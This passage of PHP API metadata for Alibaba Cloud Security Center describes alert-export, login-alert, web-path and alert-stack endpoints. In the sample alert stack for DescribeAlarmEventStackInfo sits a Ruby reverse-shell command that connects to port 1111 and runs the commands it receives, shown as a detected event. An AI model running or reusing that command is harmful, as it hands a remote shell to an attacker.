'format' => 'int32', + 'example' => '29', + ], + 'Id' => [ + 'description' => '归档导出任务的id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '273698***', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 29,\\n \\"Count\\": 9\\n },\\n \\"Data\\": [\\n {\\n \\"Link\\": \\"http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip\\",\\n \\"Status\\": \\"success\\",\\n \\"Progress\\": 100,\\n \\"CurrentCount\\": 29,\\n \\"GmtCreate\\": 1671607025000,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"suspicious_event_20221203\\",\\n \\"TotalCount\\": 29,\\n \\"Id\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取安全告警归档数据导出列表', + ], + 'DescribeLoginSwitchConfigs' => [ + 'summary' => '查询非常用登录IP、非常用登录时间、非常用登录账号的报警开关信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '配置列表的返回个数信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'ConfigList' => [ + 'description' => '返回的配置对象。', + 'type' => 'array', + 'items' => [ + 'description' => '消息体。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '日志服务的启用状态。'."\n" + .'取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Item' => [ + 'description' => '指定要开启或关闭的开关类型。'."\n" + .'取值：'."\n" + .'- **login\\_common\\_ip**： 非常用登录IP告警'."\n" + .'- **login\\_common\\_time**： 非常用登录时间告警'."\n" + .'- **login\\_common\\_account**： 非常用账号登录告警', + 'type' => 'string', + 'example' => 'login_common_ip', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"ConfigList\\": [\\n {\\n \\"Status\\": 0,\\n \\"Item\\": \\"login_common_ip\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询安骑士防御开关', + ], + 'DescribeWebPath' => [ + 'summary' => '查询安全告警Web自定义目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '告警配置类型。取值：'."\n" + ."\n" + .'- **web_path**', + 'type' => 'string', + 'required' => false, + 'example' => 'web_path', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B37C9052-A73E-4707-A024-92477028****', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ConfigList' => [ + 'description' => 'web路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'web目录。', + 'type' => 'object', + 'properties' => [ + 'WebPath' => [ + 'description' => 'web目录。', + 'type' => 'string', + 'example' => '/root/www****', + ], + 'WebPathType' => [ + 'description' => 'web路径类型。取值：'."\n" + ."\n" + .'- **def**：系统自动识别'."\n" + .'- **customize**：手动添加', + 'type' => 'string', + 'example' => 'def', + ], + 'TargetList' => [ + 'description' => 'web目录生效的服务器列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'web目录。', + 'type' => 'object', + 'properties' => [ + 'Target' => [ + 'description' => '目标对象。', + 'type' => 'string', + 'example' => '82048187-bb9b-4e19-8320-7b4ddb97****', + ], + 'TargetType' => [ + 'description' => '目标类型。取值：'."\n" + ."\n" + .'- **uuid**', + 'type' => 'string', + 'example' => 'uuid', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-92477028****\\",\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2,\\n \\"ConfigList\\": [\\n {\\n \\"WebPath\\": \\"/root/www****\\",\\n \\"WebPathType\\": \\"def\\",\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"82048187-bb9b-4e19-8320-7b4ddb97****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询安全告警Web自定义目录', + ], + 'ListUuidsByWebPath' => [ + 'summary' => '根据Web路径查询防护资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'WebPath', + 'in' => 'query', + 'schema' => [ + 'title' => '路径', + 'description' => 'Web路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/root/www****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '类型', + 'description' => 'Web路径类型。取值：'."\n" + ."\n" + .'- **def**：系统自动识别'."\n" + .'- **customize**：手动添加', + 'type' => 'string', + 'required' => false, + 'example' => 'def', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '防护资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防护资产。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'MachineName' => [ + 'description' => '服务器机器名称。', + 'type' => 'string', + 'example' => 'test****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3C1240F-9DAC-5EE8-ADF5-2F930A95****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"MachineName\\": \\"test****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 10,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"A3C1240F-9DAC-5EE8-ADF5-2F930A95****\\"\\n}","type":"json"}]', + 'title' => '根据Web路径查询防护资产', + ], + 'ModifyWebPath' => [ + 'summary' => '修改Web自定义目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92408', + 'abilityTreeNodes' => [ + 'FEATUREsas3VVW1Q', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。固定取值：**web_path**。', + 'type' => 'string', + 'required' => false, + 'example' => 'web_path', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => 'Web路径配置信息。JSON格式，包含以下字段：'."\n" + ."\n" + .'- **webPathType**：Web路径类型'."\n" + .'- **webPath**：Web路径', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "webPathType": "customize",'."\n" + .' "webPath": "/root/www****"'."\n" + .'}', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => 'web目录防护的资产。JSON格式，包含以下字段：'."\n" + ."\n" + .'- **target**：防护资产'."\n" + .'- **targetType**：资产类型，固定取值为uuid'."\n" + .'- **flag**：操作类型', + 'type' => 'string', + 'required' => false, + 'example' => '[{"target":"0186127a-d33e-4d0c-94fb-8f25f87bc69f","targetType":"uuid","flag":"add"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '操作是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20623245-7E5E-52CA-9640-7502F119****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"20623245-7E5E-52CA-9640-7502F119****\\"\\n}","type":"json"}]', + 'title' => '修改Web自定义目录', + ], + 'GetAlarmMachineCount' => [ + 'summary' => '获取当前存在告警的服务器数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'MachineCount' => [ + 'description' => '存在安全告警的服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6D3A2E7D-1238-5DD4-B3C3-BF06FCAD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"MachineCount\\": 1\\n },\\n \\"RequestId\\": \\"6D3A2E7D-1238-5DD4-B3C3-BF06FCAD****\\"\\n}","type":"json"}]', + 'title' => '获取告警机器数量', + ], + 'DescribeSuspEventExportInfo' => [ + 'summary' => '安全告警事件导出信息查询。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '106281', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的ID。'."\n" + .'> 您可以调用[ExportSuspEvents](~~ExportSuspEvents~~)接口导出，获取该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '导出后Excel的下载链接。', + 'type' => 'string', + 'example' => 'http://suspicious-xxxxxxx.oss-cn-shanghai.aliyuncs.com/xxxxxxxxxxx/suspicious_event_20221221_1671590525269.zip?Expires=1671594125&OSSAccessKeyId=yourAccessKeyID&Signature=xxxxxxxxxxxxxxxxxx', + ], + 'Type' => [ + 'description' => '导出任务类型，固定为 suspiciousEvent。', + 'type' => 'string', + 'example' => 'suspiciousEvent', + ], + 'Progress' => [ + 'description' => '异常事件的导出进度百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AXXXXX', + ], + 'GmtCreate' => [ + 'description' => '创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-12-20T15:18Z', + ], + 'FileName' => [ + 'description' => '导出的文件名称。', + 'type' => 'string', + 'example' => 'suspicious_event_20221221_1671590521234.zip', + ], + 'TotalCount' => [ + 'description' => '异常事件的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GmtModified' => [ + 'description' => '修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-12-20T15:18Z', + ], + 'ExportStatus' => [ + 'description' => '异常事件处理状态。取值包括：'."\n" + .'- **exporting**：处理中'."\n" + .'- **success**：处理成功'."\n" + .'- **failed**：处理失败'."\n" + .'- **pending**：等待中', + 'type' => 'string', + 'example' => 'success', + ], + 'Id' => [ + 'description' => '异常事件的导出任务id。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'Properties' => [ + 'description' => '异常事件的导出参数。', + 'type' => 'string', + 'example' => 'id,eventSubType,eventDetail,level,status,ip,instanceName,desc,lastTime,operateTime,note', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"http://suspicious-xxxxxxx.oss-cn-shanghai.aliyuncs.com/xxxxxxxxxxx/suspicious_event_20221221_1671590525269.zip?Expires=1671594125&OSSAccessKeyId=yourAccessKeyID&Signature=xxxxxxxxxxxxxxxxxx\\",\\n \\"Type\\": \\"suspiciousEvent\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AXXXXX\\",\\n \\"GmtCreate\\": 0,\\n \\"FileName\\": \\"suspicious_event_20221221_1671590521234.zip\\",\\n \\"TotalCount\\": 1,\\n \\"GmtModified\\": 0,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 11,\\n \\"Properties\\": \\"id,eventSubType,eventDetail,level,status,ip,instanceName,desc,lastTime,operateTime,note\\"\\n}","type":"json"}]', + 'title' => '告警事件导出信息查询', + ], + 'DescribeNsasSuspEventType' => [ + 'summary' => '查询安全告警类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92143', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '180.212.XX.XX', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testECS', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '安全告警类型名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'Unusual Logon', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**，表示请求来源为云安全中心。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器的UUID。存在多个UUID时使用英文逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~141932~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'f56406cb-916d-42db-b6f7-2ff79e34****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器字段。取值：'."\n" + ."\n" + .'- **clusterId**：集群编号', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器字段对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca3108551c83c4d949106e1ab9e1e****', + ], + ], + [ + 'name' => 'MultiAccountActionType', + 'in' => 'query', + 'schema' => [ + 'description' => '多账号查询类型。默认值为**0**。取值：'."\n" + .'- **0**：查询当前账号数据'."\n" + .'- **1**：查询所有账号数据', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'SupportOperateCodeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警支持的操作类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警支持的操作类型：'."\n" + .'- **AI.false_positive**：疑似误报'."\n" + .'- **AI.real_attack**：真实攻击'."\n" + .'- **AI.Insufficient_information_to_evaluate**：无法研判', + 'type' => 'string', + 'required' => false, + 'example' => 'AI.real_attack', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', + ], + 'EventTypes' => [ + 'description' => '安全告警类型信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全告警类型信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '安全告警类型。', + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + 'SuspEventCount' => [ + 'description' => '安全告警资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'Name' => [ + 'description' => '安全告警类型名称。', + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"EventTypes\\": [\\n {\\n \\"Type\\": \\"Unusual Logon\\",\\n \\"SuspEventCount\\": 22,\\n \\"Name\\": \\"Unusual Logon\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询安全告警类型', + ], + 'DescribeAlarmEventStackInfo' => [ + 'summary' => '获取异常报警事件的堆栈信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + 'default' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。'."\n" + .'> 调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '18b7336e-d469-473b-af83-8e5420f9****', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '事件名称。'."\n" + ."\n" + .'>详细信息请参见[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'Variable Trojan', + ], + ], + [ + 'name' => 'UniqueInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的唯一标识。', + 'type' => 'string', + 'required' => true, + 'example' => '1fbe8d16727f61d1478a674d6fa0****', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'StackInfo' => [ + 'description' => '告警详情的堆栈信息。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "child": ['."\n" + .' {'."\n" + .' "child": ['."\n" + .' {'."\n" + .' "child": ['."\n" + .' '."\n" + .' ],'."\n" + .' "data": {'."\n" + .' "cmdline": "id",'."\n" + .' "proc_path": "/bin/id",'."\n" + .' "pid": "[3033]"'."\n" + .' },'."\n" + .' "description": {'."\n" + .' "extend": ['."\n" + .' '."\n" + .' ],'."\n" + .' "main": {'."\n" + .' "content": "${pid} ${cmdline}",'."\n" + .' "content_type": "markdown"'."\n" + .' }'."\n" + .' }'."\n" + .' },'."\n" + .' {'."\n" + .' "child": ['."\n" + .' '."\n" + .' ],'."\n" + .' "data": {'."\n" + .' "cmdline": "whoami",'."\n" + .' "proc_path": "/bin/whoami",'."\n" + .' "pid": "[3035]"'."\n" + .' },'."\n" + .' "description": {'."\n" + .' "extend": ['."\n" + .' '."\n" + .' ],'."\n" + .' "main": {'."\n" + .' "content": "${pid} ${cmdline}",'."\n" + .' "content_type": "markdown"'."\n" + .' }'."\n" + .' }'."\n" + .' }'."\n" + .' ],'."\n" + .' "data": {'."\n" + .' "cmdline": "/bin/bash -c \'id && whoami\'",'."\n" + .' "proc_path": "/bin/bash",'."\n" + .' "pid": "[3022]"'."\n" + .' },'."\n" + .' "description": {'."\n" + .' "extend": ['."\n" + .' '."\n" + .' ],'."\n" + .' "main": {'."\n" + .' "content": "${pid} ${cmdline}",'."\n" + .' "content_type": "markdown"'."\n" + .' }'."\n" + .' }'."\n" + .' }'."\n" + .' ],'."\n" + .' "data": {'."\n" + .' "src_ip": "0.0.0.0",'."\n" + .' "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\\"0.0.0.0\\",\\"1111\\");while(cmd=c.gets);IO.popen(cmd,\\"r\\"){|io|c.print io.read}end",'."\n" + .' "file": "ruby",'."\n" + .' "login_port": "22",'."\n" + .' "login_type": "password",'."\n" + .' "proc_path": "/usr/bin/ruby",'."\n" + .' "dst_port": "1111",'."\n" + .' "pid": "3011",'."\n" + .' "user": "root",'."\n" + .' "dst_ip": "0.0.0.0",'."\n" + .' "log_time": "2020-01-20 09:00:00"'."\n" + .' },'."\n" + .' "description": {'."\n" + .' "extend": ['."\n" + .' {'."\n" + .' "content": "${tpl_netstat}",'."\n" + .' "content_type": "text"'."\n" + .' }'."\n" + .' ],'."\n" + .' "main": {'."\n" + .' "content": "${pid} ${cmdline}",'."\n" + .' "content_type": "markdown"'."\n" + .' }'."\n" + .' }'."\n" + .' }'."\n" + .']', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'noSubstitutionReason' => '暂无替代API，请关注后续API最新发布。', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StackInfo\\": \\"[\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"id\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/bin/id\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3033]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": 